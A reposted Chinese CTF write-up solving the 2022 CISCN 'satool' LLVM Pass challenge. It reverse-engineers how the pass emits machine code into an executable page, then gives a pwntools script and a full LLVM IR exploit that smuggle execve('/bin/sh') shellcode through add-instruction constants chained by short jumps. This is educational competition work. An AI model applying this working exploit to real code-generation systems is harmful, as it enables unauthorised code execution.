ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2022CISCN-satool

2022-08-25 12:30:51  阅读:120  来源: 互联网

标签:i64 satool add 64 2022CISCN 256 rax nsw


2022CISCN-satool

打国赛的时候自己还并不了解LLVM PASS pwn,前几天正好学习了一下LLVM PASS pwn,于是就顺便来复现一下这道题目。

首先找到二进制文件的重写函数的主体并对其进行分析。

开始就是限制了函数的参数和基本块的个数必须为1

然后是先把一块区域变成可写可执行,并通过handle函数对IR进行处理。再把这一块区域变成可读可执行,并通过callCodeIR进行处理。我们先去看handle部分的代码。

handle里首先获取了第一个操作数,然后判断是否是一个常数,如果是则进入if语句当中。这个if里的代码会先获取这个常数的数值,然后用writeMovImm64对其进行处理。其代码如下:

可以看到这个函数的作用是向某个地址写入10个字节。可能是\x48\xBB....也可能是\x48\xB8....。我们可以用python去生成一下,发现得到的是mov rax, xxxx或者mov rbx, xxx。我们回到上面一层。结合起来看就是写入mov rax, Operand。接着会用writeRet对其进行处理。其代码如下:

可以看到这个函数的作用是写\xC3,也就是ret所对应的字节码。返回上一层,我们可以直到这个if里语句的作用就是写入mov rax, Operand; ret;。接着我们继续向下看:

下面接着的else if的主体和上面类似,只是判断是第一个操作数是否为一个参数,如果是则进入else if中。接着我们看else里的代码:

这里首先写入mov rax, 0,并且实例化了两个TLS Stack对象。接着会有一个while循环:

如果*(this+5)<v30则进入循环,而这里的v30 = *((_QWORD *)this + 4) + 0xFF0LL,也就是开始写入字节的地方+0xFF0处。如果v26栈的大小==0,则写入一个ret并且退出循环。

接着从栈顶弹出一个值,并且将其转化为二元运算符,如果不能转化为二元运算符,那么就会报错并且退出。

由下面这个if语句的判断我们可以看出,这个二元运算符应该是加号或者减号,如果不是则会退出。

接着获取第一个操作数和第二个操作数,这里可以判断出对应二元运算符的两个操作数。判断第一个操作数是否为常数并且是否为+1(-1),如果是则调用writeInc,其代码如下:

其作用是向里面写入三个字节,对应的汇编代码是inc rax或者dec rax。如果为常数,但不是+1(-1),那么就会调用writeMovImm64writeOpReg,其中writeOpReg的代码如下:

其作用是写入三个字节,对应的汇编代码是add rax, rbx或者sub rax, rbx。如果是参数,那么就会使得*((_DWORD *)this + 12) += v22,否则就会进入else,也就是将v20和v22push进栈。接着是对v21的判断,与上述类似。

然后我们返回上一层继续分析。

改变权限后我们进入callCode

这里就是把this[4]当作为一个函数去执行。看到这里我们想能否通过handle函数去写入shellcode,然后再通过错位再调用callCode去执行我们的shellcode。但是要注意的是我们的shellcode不连续,最多一次写入8字节,并且其中还要有shellcode使得其可以连续执行,于是我们就想到了短跳转指令

我们写脚本来得到我们所需要的shellcode

from pwn import *
context.arch='amd64'

s = b'\x90\x90\x90\x90\x90\x90\xEB\xEB'

print(disasm(s))
print(u64(s))

shellcode = [
	"mov eax, 0x68732f",
	"shl rax, 0x20",
	"add rax, 0x6e69622f",
	"push rax",
	"mov rdi, rsp",
	"xor rsi, rsi",
	"xor rdx, rdx",
	"push 59",
	"pop rax",
	"syscall"
	]

for code in shellcode:
	bytes = asm(code).ljust(6, b'\x90') + b'\xEB\xEB'  # \xEB\xEB: jmp short ptr -19
	print(u64(bytes))

再通过调试得到我们的exp.ll

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @test(i64 %0) #0 {
  %2 = add nsw i64 %0, 16999840169015152640
  %3 = add nsw i64 %2, 1
  %4 = add nsw i64 %3, 1
  %5 = add nsw i64 %4, 256
  %6 = add nsw i64 %5, 256
  %7 = add nsw i64 %6, 256
  %8 = add nsw i64 %7, 256
  %9 = add nsw i64 %8, 256
  %10 = add nsw i64 %9, 256
  %11 = add nsw i64 %10, 256
  %12 = add nsw i64 %11, 256
  %13 = add nsw i64 %12, 256
  %14 = add nsw i64 %13, 256
  %15 = add nsw i64 %14, 256
  %16 = add nsw i64 %15, 256
  %17 = add nsw i64 %16, 256
  %18 = add nsw i64 %17, 256
  %19 = add nsw i64 %18, 256
  %20 = add nsw i64 %19, 256
  %21 = add nsw i64 %20, 256
  %22 = add nsw i64 %21, 256
  %23 = add nsw i64 %22, 256
  %24 = add nsw i64 %23, 256
  %25 = add nsw i64 %24, 256
  %26 = add nsw i64 %25, 256
  %27 = add nsw i64 %26, 256
  %28 = add nsw i64 %27, 256
  %29 = add nsw i64 %28, 256
  %30 = add nsw i64 %29, 256
  %31 = add nsw i64 %30, 256
  %32 = add nsw i64 %31, 256
  %33 = add nsw i64 %32, 256
  %34 = add nsw i64 %33, 256
  %35 = add nsw i64 %34, 256
  %36 = add nsw i64 %35, 256
  %37 = add nsw i64 %36, 256
  %38 = add nsw i64 %37, 256
  %39 = add nsw i64 %38, 256
  %40 = add nsw i64 %39, 256
  %41 = add nsw i64 %40, 256
  %42 = add nsw i64 %41, 256
  %43 = add nsw i64 %42, 256
  %44 = add nsw i64 %43, 256
  %45 = add nsw i64 %44, 256
  %46 = add nsw i64 %45, 256
  %47 = add nsw i64 %46, 256
  %48 = add nsw i64 %47, 256
  %49 = add nsw i64 %48, 256
  %50 = add nsw i64 %49, 256
  %51 = add nsw i64 %50, 256
  %52 = add nsw i64 %51, 256
  %53 = add nsw i64 %52, 256
  %54 = add nsw i64 %53, 256
  %55 = add nsw i64 %54, 256
  %56 = add nsw i64 %55, 256
  %57 = add nsw i64 %56, 256
  %58 = add nsw i64 %57, 256
  %59 = add nsw i64 %58, 256
  %60 = add nsw i64 %59, 256
  %61 = add nsw i64 %60, 256
  %62 = add nsw i64 %61, 256
  %63 = add nsw i64 %62, 256
  %64 = add nsw i64 %63, 256
  %65 = add nsw i64 %64, 256
  %66 = add nsw i64 %65, 256
  %67 = add nsw i64 %66, 256
  %68 = add nsw i64 %67, 256
  %69 = add nsw i64 %68, 256
  %70 = add nsw i64 %69, 256
  %71 = add nsw i64 %70, 256
  %72 = add nsw i64 %71, 256
  %73 = add nsw i64 %72, 256
  %74 = add nsw i64 %73, 256
  %75 = add nsw i64 %74, 256
  %76 = add nsw i64 %75, 256
  %77 = add nsw i64 %76, 256
  %78 = add nsw i64 %77, 256
  %79 = add nsw i64 %78, 256
  %80 = add nsw i64 %79, 256
  %81 = add nsw i64 %80, 256
  %82 = add nsw i64 %81, 256
  %83 = add nsw i64 %82, 256
  %84 = add nsw i64 %83, 256
  %85 = add nsw i64 %84, 256
  %86 = add nsw i64 %85, 256
  %87 = add nsw i64 %86, 256
  %88 = add nsw i64 %87, 256
  %89 = add nsw i64 %88, 256
  %90 = add nsw i64 %89, 256
  %91 = add nsw i64 %90, 256
  %92 = add nsw i64 %91, 256
  %93 = add nsw i64 %92, 256
  %94 = add nsw i64 %93, 256
  %95 = add nsw i64 %94, 256
  %96 = add nsw i64 %95, 256
  %97 = add nsw i64 %96, 256
  %98 = add nsw i64 %97, 256
  %99 = add nsw i64 %98, 256
  %100 = add nsw i64 %99, 256
  %101 = add nsw i64 %100, 256
  %102 = add nsw i64 %101, 256
  %103 = add nsw i64 %102, 256
  %104 = add nsw i64 %103, 256
  %105 = add nsw i64 %104, 256
  %106 = add nsw i64 %105, 256
  %107 = add nsw i64 %106, 256
  %108 = add nsw i64 %107, 256
  %109 = add nsw i64 %108, 256
  %110 = add nsw i64 %109, 256
  %111 = add nsw i64 %110, 256
  %112 = add nsw i64 %111, 256
  %113 = add nsw i64 %112, 256
  %114 = add nsw i64 %113, 256
  %115 = add nsw i64 %114, 256
  %116 = add nsw i64 %115, 256
  %117 = add nsw i64 %116, 256
  %118 = add nsw i64 %117, 256
  %119 = add nsw i64 %118, 256
  %120 = add nsw i64 %119, 256
  %121 = add nsw i64 %120, 256
  %122 = add nsw i64 %121, 256
  %123 = add nsw i64 %122, 256
  %124 = add nsw i64 %123, 256
  %125 = add nsw i64 %124, 256
  %126 = add nsw i64 %125, 256
  %127 = add nsw i64 %126, 256
  %128 = add nsw i64 %127, 256
  %129 = add nsw i64 %128, 256
  %130 = add nsw i64 %129, 256
  %131 = add nsw i64 %130, 256
  %132 = add nsw i64 %131, 256
  %133 = add nsw i64 %132, 256
  %134 = add nsw i64 %133, 256
  %135 = add nsw i64 %134, 256
  %136 = add nsw i64 %135, 256
  %137 = add nsw i64 %136, 256
  %138 = add nsw i64 %137, 256
  %139 = add nsw i64 %138, 256
  %140 = add nsw i64 %139, 256
  %141 = add nsw i64 %140, 256
  %142 = add nsw i64 %141, 256
  %143 = add nsw i64 %142, 256
  %144 = add nsw i64 %143, 256
  %145 = add nsw i64 %144, 256
  %146 = add nsw i64 %145, 256
  %147 = add nsw i64 %146, 256
  %148 = add nsw i64 %147, 256
  %149 = add nsw i64 %148, 256
  %150 = add nsw i64 %149, 256
  %151 = add nsw i64 %150, 256
  %152 = add nsw i64 %151, 256
  %153 = add nsw i64 %152, 256
  %154 = add nsw i64 %153, 256
  %155 = add nsw i64 %154, 256
  %156 = add nsw i64 %155, 256
  %157 = add nsw i64 %156, 256
  %158 = add nsw i64 %157, 256
  %159 = add nsw i64 %158, 256
  %160 = add nsw i64 %159, 256
  %161 = add nsw i64 %160, 256
  %162 = add nsw i64 %161, 256
  %163 = add nsw i64 %162, 256
  %164 = add nsw i64 %163, 256
  %165 = add nsw i64 %164, 256
  %166 = add nsw i64 %165, 256
  %167 = add nsw i64 %166, 256
  %168 = add nsw i64 %167, 256
  %169 = add nsw i64 %168, 256
  %170 = add nsw i64 %169, 256
  %171 = add nsw i64 %170, 256
  %172 = add nsw i64 %171, 256
  %173 = add nsw i64 %172, 256
  %174 = add nsw i64 %173, 256
  %175 = add nsw i64 %174, 256
  %176 = add nsw i64 %175, 256
  %177 = add nsw i64 %176, 256
  %178 = add nsw i64 %177, 256
  %179 = add nsw i64 %178, 256
  %180 = add nsw i64 %179, 256
  %181 = add nsw i64 %180, 256
  %182 = add nsw i64 %181, 256
  %183 = add nsw i64 %182, 256
  %184 = add nsw i64 %183, 256
  %185 = add nsw i64 %184, 256
  %186 = add nsw i64 %185, 256
  %187 = add nsw i64 %186, 256
  %188 = add nsw i64 %187, 256
  %189 = add nsw i64 %188, 256
  %190 = add nsw i64 %189, 256
  %191 = add nsw i64 %190, 256
  %192 = add nsw i64 %191, 256
  %193 = add nsw i64 %192, 256
  %194 = add nsw i64 %193, 256
  %195 = add nsw i64 %194, 256
  %196 = add nsw i64 %195, 256
  %197 = add nsw i64 %196, 256
  %198 = add nsw i64 %197, 256
  %199 = add nsw i64 %198, 256
  %200 = add nsw i64 %199, 256
  %201 = add nsw i64 %200, 256
  %202 = add nsw i64 %201, 256
  %203 = add nsw i64 %202, 256
  %204 = add nsw i64 %203, 256
  %205 = add nsw i64 %204, 256
  %206 = add nsw i64 %205, 256
  %207 = add nsw i64 %206, 256
  %208 = add nsw i64 %207, 256
  %209 = add nsw i64 %208, 256
  %210 = add nsw i64 %209, 256
  %211 = add nsw i64 %210, 256
  %212 = add nsw i64 %211, 256
  %213 = add nsw i64 %212, 256
  %214 = add nsw i64 %213, 256
  %215 = add nsw i64 %214, 256
  %216 = add nsw i64 %215, 256
  %217 = add nsw i64 %216, 256
  %218 = add nsw i64 %217, 256
  %219 = add nsw i64 %218, 256
  %220 = add nsw i64 %219, 256
  %221 = add nsw i64 %220, 256
  %222 = add nsw i64 %221, 256
  %223 = add nsw i64 %222, 256
  %224 = add nsw i64 %223, 256
  %225 = add nsw i64 %224, 256
  %226 = add nsw i64 %225, 256
  %227 = add nsw i64 %226, 256
  %228 = add nsw i64 %227, 256
  %229 = add nsw i64 %228, 256
  %230 = add nsw i64 %229, 256
  %231 = add nsw i64 %230, 256
  %232 = add nsw i64 %231, 256
  %233 = add nsw i64 %232, 256
  %234 = add nsw i64 %233, 256
  %235 = add nsw i64 %234, 256
  %236 = add nsw i64 %235, 256
  %237 = add nsw i64 %236, 256
  %238 = add nsw i64 %237, 256
  %239 = add nsw i64 %238, 256
  %240 = add nsw i64 %239, 256
  %241 = add nsw i64 %240, 256
  %242 = add nsw i64 %241, 256
  %243 = add nsw i64 %242, 256
  %244 = add nsw i64 %243, 256
  %245 = add nsw i64 %244, 256
  %246 = add nsw i64 %245, 256
  %247 = add nsw i64 %246, 256
  %248 = add nsw i64 %247, 256
  %249 = add nsw i64 %248, 256
  %250 = add nsw i64 %249, 256
  %251 = add nsw i64 %250, 256
  %252 = add nsw i64 %251, 256
  %253 = add nsw i64 %252, 256
  %254 = add nsw i64 %253, 256
  %255 = add nsw i64 %254, 256
  %256 = add nsw i64 %255, 256
  %257 = add nsw i64 %256, 256
  %258 = add nsw i64 %257, 256
  %259 = add nsw i64 %258, 256
  %260 = add nsw i64 %259, 256
  %261 = add nsw i64 %260, 256
  %262 = add nsw i64 %261, 256
  %263 = add nsw i64 %262, 256
  %264 = add nsw i64 %263, 256
  %265 = add nsw i64 %264, 256
  %266 = add nsw i64 %265, 256
  %267 = add nsw i64 %266, 256
  %268 = add nsw i64 %267, 256
  %269 = add nsw i64 %268, 256
  %270 = add nsw i64 %269, 256
  %271 = add nsw i64 %270, 256
  %272 = add nsw i64 %271, 256
  %273 = add nsw i64 %272, 256
  %274 = add nsw i64 %273, 256
  %275 = add nsw i64 %274, 256
  %276 = add nsw i64 %275, 256
  %277 = add nsw i64 %276, 256
  %278 = add nsw i64 %277, 256
  %279 = add nsw i64 %278, 256
  %280 = add nsw i64 %279, 256
  %281 = add nsw i64 %280, 256
  %282 = add nsw i64 %281, 256
  %283 = add nsw i64 %282, 256
  %284 = add nsw i64 %283, 256
  %285 = add nsw i64 %284, 256
  %286 = add nsw i64 %285, 256
  %287 = add nsw i64 %286, 256
  %288 = add nsw i64 %287, 256
  %289 = add nsw i64 %288, 256
  %290 = add nsw i64 %289, 256
  %291 = add nsw i64 %290, 256
  %292 = add nsw i64 %291, 256
  %293 = add nsw i64 %292, 256
  %294 = add nsw i64 %293, 256
  %295 = add nsw i64 %294, 256
  %296 = add nsw i64 %295, 256
  %297 = add nsw i64 %296, 256
  %298 = add nsw i64 %297, 256
  %299 = add nsw i64 %298, 256
  %300 = add nsw i64 %299, 256
  %301 = add nsw i64 %300, 256
  %302 = add nsw i64 %301, 256
  %303 = add nsw i64 %302, 256
  %304 = add nsw i64 %303, 256
  %305 = add nsw i64 %304, 256
  %306 = add nsw i64 %305, 256
  %307 = add nsw i64 %306, 256
  %308 = add nsw i64 %307, 256
  %309 = add nsw i64 %308, 256
  %310 = add nsw i64 %309, 256
  %311 = add nsw i64 %310, 256
  %312 = add nsw i64 %311, 256
  %313 = add nsw i64 %312, 256
  %314 = add nsw i64 %313, 256
  %315 = add nsw i64 %314, 256
  %316 = add nsw i64 %315, 256
  ret i64 %316
}

define dso_local i64 @test2(i64 %0) #0 {
  %2 = sub nsw i64 %0, 1
  %3 = add nsw i64 %2, 1
  %4 = add nsw i64 %3, 1
  %5 = add nsw i64 %4, 16999840169015152784
  %6 = add nsw i64 %5, 16999839549866848184
  %7 = add nsw i64 %6, 16999840167141359944
  %8 = add nsw i64 %7, 16999802617337939272
  %9 = add nsw i64 %8, 16999840169015152720
  %10 = add nsw i64 %9, 16999840169020852552
  %11 = add nsw i64 %10, 16999840169021813064
  %12 = add nsw i64 %11, 16999840169019453768
  %13 = add nsw i64 %12, 16999840169015130986
  %14 = add nsw i64 %13, 16999840169015152728
  %15 = add nsw i64 %14, 16999840169015117071
  %16 = add nsw i64 %15, 256
  %17 = add nsw i64 %16, 256
  %18 = add nsw i64 %17, 256
  %19 = add nsw i64 %18, 256
  %20 = add nsw i64 %19, 256
  %21 = add nsw i64 %20, 256
  %22 = add nsw i64 %21, 256
  %23 = add nsw i64 %22, 256
  %24 = add nsw i64 %23, 256
  %25 = add nsw i64 %24, 256
  %26 = add nsw i64 %25, 256
  %27 = add nsw i64 %26, 256
  %28 = add nsw i64 %27, 256
  %29 = add nsw i64 %28, 256
  %30 = add nsw i64 %29, 256
  %31 = add nsw i64 %30, 256
  %32 = add nsw i64 %31, 256
  %33 = add nsw i64 %32, 256
  %34 = add nsw i64 %33, 256
  %35 = add nsw i64 %34, 256
  %36 = add nsw i64 %35, 256
  %37 = add nsw i64 %36, 256
  %38 = add nsw i64 %37, 256
  %39 = add nsw i64 %38, 256
  %40 = add nsw i64 %39, 256
  %41 = add nsw i64 %40, 256
  %42 = add nsw i64 %41, 256
  %43 = add nsw i64 %42, 256
  %44 = add nsw i64 %43, 256
  %45 = add nsw i64 %44, 256
  %46 = add nsw i64 %45, 256
  %47 = add nsw i64 %46, 256
  %48 = add nsw i64 %47, 256
  %49 = add nsw i64 %48, 256
  %50 = add nsw i64 %49, 256
  %51 = add nsw i64 %50, 256
  %52 = add nsw i64 %51, 256
  %53 = add nsw i64 %52, 256
  %54 = add nsw i64 %53, 256
  %55 = add nsw i64 %54, 256
  %56 = add nsw i64 %55, 256
  %57 = add nsw i64 %56, 256
  %58 = add nsw i64 %57, 256
  %59 = add nsw i64 %58, 256
  %60 = add nsw i64 %59, 256
  %61 = add nsw i64 %60, 256
  %62 = add nsw i64 %61, 256
  %63 = add nsw i64 %62, 256
  %64 = add nsw i64 %63, 256
  %65 = add nsw i64 %64, 256
  %66 = add nsw i64 %65, 256
  %67 = add nsw i64 %66, 256
  %68 = add nsw i64 %67, 256
  %69 = add nsw i64 %68, 256
  %70 = add nsw i64 %69, 256
  %71 = add nsw i64 %70, 256
  %72 = add nsw i64 %71, 256
  %73 = add nsw i64 %72, 256
  %74 = add nsw i64 %73, 256
  %75 = add nsw i64 %74, 256
  %76 = add nsw i64 %75, 256
  %77 = add nsw i64 %76, 256
  %78 = add nsw i64 %77, 256
  %79 = add nsw i64 %78, 256
  %80 = add nsw i64 %79, 256
  %81 = add nsw i64 %80, 256
  %82 = add nsw i64 %81, 256
  %83 = add nsw i64 %82, 256
  %84 = add nsw i64 %83, 256
  %85 = add nsw i64 %84, 256
  %86 = add nsw i64 %85, 256
  %87 = add nsw i64 %86, 256
  %88 = add nsw i64 %87, 256
  %89 = add nsw i64 %88, 256
  %90 = add nsw i64 %89, 256
  %91 = add nsw i64 %90, 256
  %92 = add nsw i64 %91, 256
  %93 = add nsw i64 %92, 256
  %94 = add nsw i64 %93, 256
  %95 = add nsw i64 %94, 256
  %96 = add nsw i64 %95, 256
  %97 = add nsw i64 %96, 256
  %98 = add nsw i64 %97, 256
  %99 = add nsw i64 %98, 256
  %100 = add nsw i64 %99, 256
  %101 = add nsw i64 %100, 256
  %102 = add nsw i64 %101, 256
  %103 = add nsw i64 %102, 256
  %104 = add nsw i64 %103, 256
  %105 = add nsw i64 %104, 256
  %106 = add nsw i64 %105, 256
  %107 = add nsw i64 %106, 256
  %108 = add nsw i64 %107, 256
  %109 = add nsw i64 %108, 256
  %110 = add nsw i64 %109, 256
  %111 = add nsw i64 %110, 256
  %112 = add nsw i64 %111, 256
  %113 = add nsw i64 %112, 256
  %114 = add nsw i64 %113, 256
  %115 = add nsw i64 %114, 256
  %116 = add nsw i64 %115, 256
  %117 = add nsw i64 %116, 256
  %118 = add nsw i64 %117, 256
  %119 = add nsw i64 %118, 256
  %120 = add nsw i64 %119, 256
  %121 = add nsw i64 %120, 256
  %122 = add nsw i64 %121, 256
  %123 = add nsw i64 %122, 256
  %124 = add nsw i64 %123, 256
  %125 = add nsw i64 %124, 256
  %126 = add nsw i64 %125, 256
  %127 = add nsw i64 %126, 256
  %128 = add nsw i64 %127, 256
  %129 = add nsw i64 %128, 256
  %130 = add nsw i64 %129, 256
  %131 = add nsw i64 %130, 256
  %132 = add nsw i64 %131, 256
  %133 = add nsw i64 %132, 256
  %134 = add nsw i64 %133, 256
  %135 = add nsw i64 %134, 256
  %136 = add nsw i64 %135, 256
  %137 = add nsw i64 %136, 256
  %138 = add nsw i64 %137, 256
  %139 = add nsw i64 %138, 256
  %140 = add nsw i64 %139, 256
  %141 = add nsw i64 %140, 256
  %142 = add nsw i64 %141, 256
  %143 = add nsw i64 %142, 256
  %144 = add nsw i64 %143, 256
  %145 = add nsw i64 %144, 256
  %146 = add nsw i64 %145, 256
  %147 = add nsw i64 %146, 256
  %148 = add nsw i64 %147, 256
  %149 = add nsw i64 %148, 256
  %150 = add nsw i64 %149, 256
  %151 = add nsw i64 %150, 256
  %152 = add nsw i64 %151, 256
  %153 = add nsw i64 %152, 256
  %154 = add nsw i64 %153, 256
  %155 = add nsw i64 %154, 256
  %156 = add nsw i64 %155, 256
  %157 = add nsw i64 %156, 256
  %158 = add nsw i64 %157, 256
  %159 = add nsw i64 %158, 256
  %160 = add nsw i64 %159, 256
  %161 = add nsw i64 %160, 256
  %162 = add nsw i64 %161, 256
  %163 = add nsw i64 %162, 256
  %164 = add nsw i64 %163, 256
  %165 = add nsw i64 %164, 256
  %166 = add nsw i64 %165, 256
  %167 = add nsw i64 %166, 256
  %168 = add nsw i64 %167, 256
  %169 = add nsw i64 %168, 256
  %170 = add nsw i64 %169, 256
  %171 = add nsw i64 %170, 256
  %172 = add nsw i64 %171, 256
  %173 = add nsw i64 %172, 256
  %174 = add nsw i64 %173, 256
  %175 = add nsw i64 %174, 256
  %176 = add nsw i64 %175, 256
  %177 = add nsw i64 %176, 256
  %178 = add nsw i64 %177, 256
  %179 = add nsw i64 %178, 256
  %180 = add nsw i64 %179, 256
  %181 = add nsw i64 %180, 256
  %182 = add nsw i64 %181, 256
  %183 = add nsw i64 %182, 256
  %184 = add nsw i64 %183, 256
  %185 = add nsw i64 %184, 256
  %186 = add nsw i64 %185, 256
  %187 = add nsw i64 %186, 256
  %188 = add nsw i64 %187, 256
  %189 = add nsw i64 %188, 256
  %190 = add nsw i64 %189, 256
  %191 = add nsw i64 %190, 256
  %192 = add nsw i64 %191, 256
  %193 = add nsw i64 %192, 256
  %194 = add nsw i64 %193, 256
  %195 = add nsw i64 %194, 256
  %196 = add nsw i64 %195, 256
  %197 = add nsw i64 %196, 256
  %198 = add nsw i64 %197, 256
  %199 = add nsw i64 %198, 256
  %200 = add nsw i64 %199, 256
  %201 = add nsw i64 %200, 256
  %202 = add nsw i64 %201, 256
  %203 = add nsw i64 %202, 256
  %204 = add nsw i64 %203, 256
  %205 = add nsw i64 %204, 256
  %206 = add nsw i64 %205, 256
  %207 = add nsw i64 %206, 256
  %208 = add nsw i64 %207, 256
  %209 = add nsw i64 %208, 256
  %210 = add nsw i64 %209, 256
  %211 = add nsw i64 %210, 256
  %212 = add nsw i64 %211, 256
  %213 = add nsw i64 %212, 256
  %214 = add nsw i64 %213, 256
  %215 = add nsw i64 %214, 256
  %216 = add nsw i64 %215, 256
  %217 = add nsw i64 %216, 256
  %218 = add nsw i64 %217, 256
  %219 = add nsw i64 %218, 256
  %220 = add nsw i64 %219, 256
  %221 = add nsw i64 %220, 256
  %222 = add nsw i64 %221, 256
  %223 = add nsw i64 %222, 256
  %224 = add nsw i64 %223, 256
  %225 = add nsw i64 %224, 256
  %226 = add nsw i64 %225, 256
  %227 = add nsw i64 %226, 256
  %228 = add nsw i64 %227, 256
  %229 = add nsw i64 %228, 256
  %230 = add nsw i64 %229, 256
  %231 = add nsw i64 %230, 256
  %232 = add nsw i64 %231, 256
  %233 = add nsw i64 %232, 256
  %234 = add nsw i64 %233, 256
  %235 = add nsw i64 %234, 256
  %236 = add nsw i64 %235, 256
  %237 = add nsw i64 %236, 256
  %238 = add nsw i64 %237, 256
  %239 = add nsw i64 %238, 256
  %240 = add nsw i64 %239, 256
  %241 = add nsw i64 %240, 256
  %242 = add nsw i64 %241, 256
  %243 = add nsw i64 %242, 256
  %244 = add nsw i64 %243, 256
  %245 = add nsw i64 %244, 256
  %246 = add nsw i64 %245, 256
  %247 = add nsw i64 %246, 256
  %248 = add nsw i64 %247, 256
  %249 = add nsw i64 %248, 256
  %250 = add nsw i64 %249, 256
  %251 = add nsw i64 %250, 256
  %252 = add nsw i64 %251, 256
  %253 = add nsw i64 %252, 256
  %254 = add nsw i64 %253, 256
  %255 = add nsw i64 %254, 256
  %256 = add nsw i64 %255, 256
  %257 = add nsw i64 %256, 256
  %258 = add nsw i64 %257, 256
  %259 = add nsw i64 %258, 256
  %260 = add nsw i64 %259, 256
  %261 = add nsw i64 %260, 256
  %262 = add nsw i64 %261, 256
  %263 = add nsw i64 %262, 256
  %264 = add nsw i64 %263, 256
  %265 = add nsw i64 %264, 256
  %266 = add nsw i64 %265, 256
  %267 = add nsw i64 %266, 256
  %268 = add nsw i64 %267, 256
  %269 = add nsw i64 %268, 256
  %270 = add nsw i64 %269, 256
  %271 = add nsw i64 %270, 256
  %272 = add nsw i64 %271, 256
  %273 = add nsw i64 %272, 256
  %274 = add nsw i64 %273, 256
  %275 = add nsw i64 %274, 256
  %276 = add nsw i64 %275, 256
  %277 = add nsw i64 %276, 256
  %278 = add nsw i64 %277, 256
  %279 = add nsw i64 %278, 256
  %280 = add nsw i64 %279, 256
  %281 = add nsw i64 %280, 256
  %282 = add nsw i64 %281, 256
  %283 = add nsw i64 %282, 256
  %284 = add nsw i64 %283, 256
  %285 = add nsw i64 %284, 256
  %286 = add nsw i64 %285, 256
  %287 = add nsw i64 %286, 256
  %288 = add nsw i64 %287, 256
  %289 = add nsw i64 %288, 256
  %290 = add nsw i64 %289, 256
  %291 = add nsw i64 %290, 256
  %292 = add nsw i64 %291, 256
  %293 = add nsw i64 %292, 256
  %294 = add nsw i64 %293, 256
  %295 = add nsw i64 %294, 256
  %296 = add nsw i64 %295, 256
  %297 = add nsw i64 %296, 256
  %298 = add nsw i64 %297, 256
  %299 = add nsw i64 %298, 256
  %300 = add nsw i64 %299, 256
  %301 = add nsw i64 %300, 256
  %302 = add nsw i64 %301, 256
  %303 = add nsw i64 %302, 256
  %304 = add nsw i64 %303, 256
  %305 = add nsw i64 %304, 256
  %306 = add nsw i64 %305, 256
  %307 = add nsw i64 %306, 256
  %308 = add nsw i64 %307, 256
  %309 = add nsw i64 %308, 256
  %310 = add nsw i64 %309, 256
  %311 = add nsw i64 %310, 256
  %312 = add nsw i64 %311, 256
  %313 = add nsw i64 %312, 256
  %314 = add nsw i64 %313, 256
  %315 = add nsw i64 %314, 256
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1
  %319 = add nsw i64 %318, 1
  %320 = add nsw i64 %319, 1
  %321 = add nsw i64 %320, 1
  ret i64 %321
}

attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

成功getshell

标签:i64,satool,add,64,2022CISCN,256,rax,nsw
来源: https://www.cnblogs.com/pwnfeifei/p/16576367.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有